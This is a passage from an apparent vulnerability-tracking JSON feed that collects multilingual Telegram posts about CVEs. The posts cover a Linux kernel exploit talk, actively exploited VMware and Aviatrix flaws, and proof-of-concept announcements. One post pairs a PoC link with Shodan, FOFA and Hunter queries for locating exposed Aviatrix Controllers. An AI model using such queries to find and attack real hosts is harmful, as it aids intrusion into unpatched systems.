\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u043d\u0430\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u044e\u0442 \u0436\u0438\u0437\u043d\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0442\u0430\u043a\u0438\u043c\u0438 \u00ab\u0445\u0440\u0443\u043f\u043a\u0438\u043c\u0438\u00bb \u0431\u0430\u0433\u0430\u043c\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0438 \u0443\u0441\u0438\u043b\u0438\u0439. CVE-2024-50264 \u0432 \u044f\u0434\u0440\u0435 Linux \u2014 \u043a\u0430\u043a \u0440\u0430\u0437 \u043e\u0434\u043d\u0430 \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043f\u0440\u0435\u043c\u0438\u044e Pwnie Award 2025 \u0432 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u00ab\u041b\u0443\u0447\u0448\u0435\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439\u00bb (Best Privilege Escalation). \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044e \u0441\u0432\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 kernel-hack-drill \u0438 \u043f\u043e\u043a\u0430\u0436\u0443, \u043a\u0430\u043a \u043e\u043d \u043f\u043e\u043c\u043e\u0433 \u043c\u043d\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-50264.\n\n\ud83d\udd17 \u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0441\u0442\u0430\u0442\u044c\u044e\n\nLH | News | OSINT | AI", "creation_timestamp": "2025-10-25T12:51:50.000000Z"}, {"uuid": "ce05441e-09ac-421a-b910-2c8f9203f2e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "exploited", "source": "https://t.me/cIub1337/49", "content": "Multiple critical vulnerabilities have been identified in VMware products, with evidence of active exploitation by ransomware groups. \n\nOrganizations using these products should urgently apply the recommended patches to mitigate potential risks.  \n\n 1. CISA Adds Four Known Exploited Vulnerabilities to Catalog: On March 4, 2025, the Cybersecurity and Infrastructure Security Agency (CISA) updated its Known Exploited Vulnerabilities Catalog to include four new vulnerabilities: \n \u2022 CVE-2024-50302: A Linux Kernel Use of Uninitialized Resource Vulnerability. \n \u2022 CVE-2025-22225: A VMware ESXi Arbitrary Write Vulnerability. \n \u2022 CVE-2025-22224: A VMware ESXi and Workstation TOCTOU Race Condition Vulnerability. \n \u2022 CVE-2025-22226: A VMware ESXi, Workstation, and Fusion Information Disclosure Vulnerability. \nCISA emphasizes that these vulnerabilities are actively exploited and pose significant risks, urging organizations to prioritize timely remediation as part of their vulnerability management practices.\n 2. Kevin Beaumont\u2019s Cyberplace Post: Cybersecurity expert Kevin Beaumont highlighted that three different zero-day vulnerabilities in VMware products are currently under active exploitation. He noted that these vulnerabilities are being leveraged by threat actors, underscoring the critical need for immediate patching and mitigation efforts.\n 3. Broadcom Security Advisory (VMSA-2025-0004): On March 4, 2025, Broadcom released a security advisory addressing multiple vulnerabilities in VMware products:\n \u2022 CVE-2025-22224: A critical heap-overflow vulnerability in VMware ESXi and Workstation that could allow a malicious actor with local administrative privileges on a virtual machine to execute code as the VMX process on the host. \n \u2022 CVE-2025-22225: An arbitrary write vulnerability in VMware ESXi, enabling a malicious actor with VMX process privileges to perform arbitrary kernel writes, potentially leading to a sandbox escape. \n \u2022 CVE-2025-22226: An information disclosure vulnerability in VMware ESXi, Workstation, and Fusion due to an out-of-bounds read in HGFS, which could allow an attacker with administrative privileges on a virtual machine to leak memory from the VMX process. \nBroadcom has released patches to address these vulnerabilities and recommends that affected users apply them promptly.\n\n#ransomware #vmware\n\nTelegram   \u2709\ufe0f @cIub1337\nX (Twitter) \ud83d\udd4a @club31337", "creation_timestamp": "2025-03-10T18:48:29.000000Z"}, {"uuid": "7b8662e5-2468-466e-920b-bf1d4d6fe999", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "https://t.me/CyberBulletin/2057", "content": "\u26a1\ufe0fAviatrix Controller RCE CVE-2024-50603 Exploited in the Wild: Cryptojacking and Backdoors Deployed.\n\n#CyberBulletin", "creation_timestamp": "2025-01-13T08:00:50.000000Z"}, {"uuid": "f96660a5-1d52-4735-a1f2-6a6599652abb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "published-proof-of-concept", "source": "https://t.me/tech_b0lt_Genona/5240", "content": "Kernel-Hack-Drill: Environment For Developing Linux Kernel Exploits\n\nAlexander Popov (me) published the slides from his talk at Zer0Con 2025. In this talk, he presented the kernel-hack-drill open-source project and showed how it helped him to exploit CVE-2024-50264 in the Linux kernel.", "creation_timestamp": "2025-04-18T07:07:11.000000Z"}, {"uuid": "c465f5d5-8bae-47e5-a497-a659b9d03598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5056", "type": "seen", "source": "https://t.me/ics_cert/859", "content": "\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0645\u06cc\u0627\u0646\u200c\u0627\u0641\u0632\u0627\u0631 \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647 \u0645\u0646\u0637\u0642\u06cc \u0642\u0627\u0628\u0644 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0631\u06cc\u0632\u06cc Schneider Electric Modicon M340 \u0648 \u0645\u0627\u0698\u0648\u0644\u200c\u0647\u0627\u06cc \u0634\u0628\u06a9\u0647 Modicon M340 BMXNOE0100\u060c Modicon M340 BMXNOE0110 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0641\u0627\u06cc\u0644\u200c\u0647\u0627 \u0648 \u062f\u0627\u06cc\u0631\u06a9\u062a\u0648\u0631\u06cc\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0631\u0627\u06cc \u0627\u0634\u062e\u0627\u0635 \u062e\u0627\u0631\u062c\u06cc \u0645\u0631\u062a\u0628\u0637 \u0627\u0633\u062a. \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u0627\u0632 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0633\u06cc\u0633\u062a\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u062f\u0633\u062a\u06af\u0627\u0647 \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u06a9\u0646\u062f \u0648 \u0628\u0627 \u062d\u0630\u0641 \u0641\u0627\u06cc\u0644\u200c\u0647\u0627 \u06cc\u0627 \u062f\u0627\u06cc\u0631\u06a9\u062a\u0648\u0631\u06cc\u200c\u0647\u0627\u06cc \u062e\u0627\u0635 \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645 \u0641\u0627\u06cc\u0644\u060c \u0648\u0628 \u0633\u0631\u0648\u0631 \u0631\u0627 \u062e\u0631\u0627\u0628 \u06a9\u0646\u062f.\n\nCVE: CVE-2024-5056\n\nCWE-552\nCVSS 3.0: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L\nCVSS 3.0 6.5 \u0627\u0633\u062a\n\nhttps://bdu.fstec.ru/vul/2024-04748\n\n\ud83c\udfaf \u062f\u0631 \u062c\u0631\u06cc\u0627\u0646 \u0646\u0628\u0636 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0635\u0646\u0639\u062a\u06cc \u0628\u0627\u0634\u06cc\u062f:\n\n\u0628\u0631\u0627\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631 \u062f\u0631 \u0645\u0648\u0631\u062f \u067e\u06cc\u0645\u0627\u06cc\u0634 \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u067e\u06cc\u0686\u06cc\u062f\u0647 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0635\u0646\u0639\u062a\u06cc\u060c \u0628\u0647 \u0645\u0646 \u0628\u067e\u06cc\u0648\u0646\u062f\u06cc\u062f. \n\n\ud83c\udfed\u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\n\u0627\u062f\u0645\u06cc\u0646:\n\u200fhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\n\u200fhttps://t.me/ics_cert", "creation_timestamp": "2024-06-26T18:28:16.000000Z"}, {"uuid": "187a5776-a5a5-432e-901f-db95544ee48c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5099", "type": "seen", "source": "Telegram/RKa8wb9GabZO-wF1jRZV6Ex657ZQR0aVdI0MSJmT7-CRvtI8", "content": "", "creation_timestamp": "2025-02-14T09:46:59.000000Z"}, {"uuid": "42124092-234a-412b-98f3-a55f1d6a53bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5098", "type": "seen", "source": "Telegram/adWKqEhktE073DV6Xb7jwfur5hssPmsbmwtUdNDQrWL2xdK5", "content": "", "creation_timestamp": "2025-02-14T09:46:59.000000Z"}, {"uuid": "a60579e6-a7cf-4370-b1ae-3a8255cd6f7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "published-proof-of-concept", "source": "https://t.me/notlukatsky/6466", "content": "\ud83d\udd25\u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440 \u041f\u043e\u043f\u043e\u0432 \u043e\u0431\u043e\u0448\u0451\u043b \u0432\u0441\u0435 \u0437\u0430\u0449\u0438\u0442\u044b \u044f\u0434\u0440\u0430 Linux \u043e\u0434\u043d\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c\n\n\u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440 \u041f\u043e\u043f\u043e\u0432 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-50264 \u0432 \u044f\u0434\u0440\u0435 Linux. \u0415\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u0430 \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0435\u043c\u0443 \u043f\u043e\u0431\u0435\u0434\u0443 \u0432 \u043f\u0440\u0435\u043c\u0438\u0438 Pwnie Awards 2025 \u0432 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u00ab\u041b\u0443\u0447\u0448\u0435\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439\u00bb.\n\n\u0420\u0430\u043d\u0435\u0435 \u0441\u0447\u0438\u0442\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u044f\u0434\u0440\u0430 \u0434\u0435\u043b\u0430\u044e\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u044d\u0442\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u043a\u0440\u0430\u0439\u043d\u0435 \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439. \u041f\u043e\u043f\u043e\u0432 \u0441\u0443\u043c\u0435\u043b \u043e\u0431\u043e\u0439\u0442\u0438 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 SLAB-\u043a\u044d\u0448\u0435\u0439 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0430\u0442\u0430\u043a.\n\n\u041a\u043b\u044e\u0447\u0435\u0432\u044b\u043c \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u043c \u0441\u0442\u0430\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e POSIX-\u0441\u0438\u0433\u043d\u0430\u043b\u0430 \u0434\u043b\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u043d\u0430\u0434\u0451\u0436\u043d\u043e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u0433\u043e\u043d\u043a\u0443 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0439 \u0438 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n#LinuxSecurity #CVE202450264 #KernelExploit \n\n@SecLabNews", "creation_timestamp": "2025-09-11T04:21:07.000000Z"}, {"uuid": "32842903-dbc7-4973-8eb5-b4e6752e4564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5097", "type": "seen", "source": "Telegram/srEK5g3MfqNQh_OMnz8LVcizWCCwFryYVV-C_L_MArX5hvZS", "content": "", "creation_timestamp": "2025-02-14T09:46:59.000000Z"}, {"uuid": "8b547da4-32a4-4e12-a226-c47c5385bc78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "published-proof-of-concept", "source": "https://t.me/TopCyberTechNews/596", "content": "Top Security News for Today\n\nCorruption case against ousted cyber chief is \u2018revenge,\u2019 Ukraine\u2019s security service says  \nhttps://therecord.media/corruption-case-against-ousted-cyber\n\nSalesloft, Drift among companies impacted by incident  \nhttps://therecord.media/salesloft-drift-breach-cloudflare-zscaler-palo-alto-networks\n\nHow They Got In \u2014 DaVita\u2019s Data Breach  \nhttps://www.reddit.com/r/netsec/comments/1n7efek/how_they_got_in_davitas_data_breach/\n\nEffective Incident Response  \nhttps://www.reddit.com/r/netsec/comments/1n7fek1/effective_incident_response/\n\nInline Style Exfiltration: leaking data with chained CSS conditionals  \nhttps://www.reddit.com/r/netsec/comments/1n7fexe/inline_style_exfiltration_leaking_data_with/\n\nKernel-hack-drill and a new approach to exploiting CVE-2024-50264 in the Linux kernel  \nhttps://www.reddit.com/r/netsec/comments/1n7dp5m/kernelhackdrill_and_a_new_approach_to_exploiting/\n\nTwo arrested in Egypt as authorities take down Streameast sports piracy platform  \nhttps://therecord.media/streameast-sports-piracy-site-takedown-arrests-egypt\n\nFollow Top Cyber News at https://t.me/TopCyberTechNews Feel free to DM me at https://twitter.com/ShayaFeedman", "creation_timestamp": "2025-09-04T09:30:19.000000Z"}, {"uuid": "f7eddeaa-948e-41c0-823b-a13bdb9ff0c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5047", "type": "seen", "source": "Telegram/P71kCUfyL_RgRjx_fmjZz3hdoktumOJLhqX8aiD2B4b0QE_u", "content": "", "creation_timestamp": "2025-02-14T09:46:59.000000Z"}, {"uuid": "05e23762-46a3-4ee7-b965-93d34d75fa97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5046", "type": "seen", "source": "Telegram/YoFLhPndb3wF0ifsiu_2WHPFo0RygxLpIJMzggH-GFFwHPc3", "content": "", "creation_timestamp": "2025-02-14T09:46:59.000000Z"}, {"uuid": "00bd78d8-1a46-40dd-ae49-3c0a18c0a21e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "https://t.me/BleepingComputer/21341", "content": "\u200aHackers exploit critical Aviatrix Controller RCE flaw in attacks\n\nThreat actors are exploiting a critical remote command execution vulnerability, tracked as CVE-2024-50603, in Aviatrix Controller instances to install backdoors and crypto miners. [...]\n\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-critical-aviatrix-controller-rce-flaw-in-attacks/", "creation_timestamp": "2025-01-13T18:58:10.000000Z"}, {"uuid": "fb2c9617-c4a8-4ab5-bc22-afbb1a96d6f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "published-proof-of-concept", "source": "https://t.me/cybersecplayground/26", "content": "\u26a0\ufe0f CVE-2024-50603 (CVSS 10)\n\nCritical Command Injection Vulnerability in Aviatrix Controller\n\n\ud83d\udd25PoC : github.com\n\n\ud83d\udcca 10K+ Services are found on hunter.how yearly.\n\n\n\ud83d\udc47Query\nHUNTER :product.name=\"Aviatrix Controller\"\n\nFOFA : product=\"aVIaTrIX-Controller\"\nSHODAN : title=\"Aviatrix Controller\"\n\n\ud83d\udcf0Refer:securityonline.info/cve-2024-50603\u2026\n\n\n#hunterhow #infosec #infosecurity #OSINT #Vulnerability", "creation_timestamp": "2025-01-10T08:03:58.000000Z"}, {"uuid": "18383d90-b38e-450b-855a-3c2f017e4b82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "published-proof-of-concept", "source": "Telegram/8q0G2XoGgrXP8O-oMiUuoKtzfH3vGd_RQiplze-y2V_UL3MF", "content": "", "creation_timestamp": "2025-07-13T02:12:02.000000Z"}, {"uuid": "ac5f7664-5b26-4d48-a371-0cba470a59d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/CyberBulletin/1832", "content": "\u26a1\ufe0fDeep Dive & POC of CVE-2024-50379 Exploit Tomcat Vulnerability (9.8 Severity).\n\n#CyberBulletin", "creation_timestamp": "2024-12-27T01:03:13.000000Z"}, {"uuid": "40af05df-f49e-4bf5-8ef1-9530a6a741e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "Telegram/h9HbZ2k29WBhPqZedI7raK6Z0Uo2xDhBpR3YwH0Zr2iyDfc", "content": "", "creation_timestamp": "2025-07-22T12:59:19.000000Z"}, {"uuid": "5e9b6a09-0109-47a3-89d9-a4270f8be5ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "exploited", "source": "https://t.me/itsec_news/5739", "content": "\u200b\u26a1\ufe0fGoogle \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 62 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Android, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f\n\n\ud83d\udcacGoogle \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0430\u043f\u0440\u0435\u043b\u044c\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Android, \u0437\u0430\u043a\u0440\u044b\u0432 \u0441\u0440\u0430\u0437\u0443 62 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u041e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043d\u0438\u0445 \u0441\u0442\u0430\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (CVE-2024-53197 ), \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 USB-audio \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 ALSA \u0432 \u044f\u0434\u0440\u0435 Linux. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438, \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u0445\u043e\u0434\u0438\u043b\u0430 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u0443\u044e \u0438\u0437\u0440\u0430\u0438\u043b\u044c\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Cellebrite \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0435\u0440\u0431\u0441\u043a\u0438\u043c\u0438 \u0432\u043b\u0430\u0441\u0442\u044f\u043c\u0438 \u0434\u043b\u044f \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0438\u0437\u044a\u044f\u0442\u044b\u0445 Android-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n\u0420\u0430\u043d\u0435\u0435 \u0432 \u044d\u0442\u043e\u0439 \u0436\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0443\u0436\u0435 \u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 USB Video Class (CVE-2024-53104), \u0443\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u0430\u044f \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435, \u0438 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0432\u0432\u043e\u0434\u0430 HID (CVE-2024-50302), \u0437\u0430\u043a\u0440\u044b\u0442\u0430\u044f \u0432 \u043c\u0430\u0440\u0442\u0435. \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 2024 \u0433\u043e\u0434\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 Security Lab \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 Amnesty International, \u0438\u0437\u0443\u0447\u0430\u0432\u0448\u0438\u043c\u0438 \u043b\u043e\u0433\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0431\u0441\u043a\u043e\u0439 \u043f\u043e\u043b\u0438\u0446\u0438\u0435\u0439.\n\nGoogle \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043d\u0430\u043b\u0430 \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0438 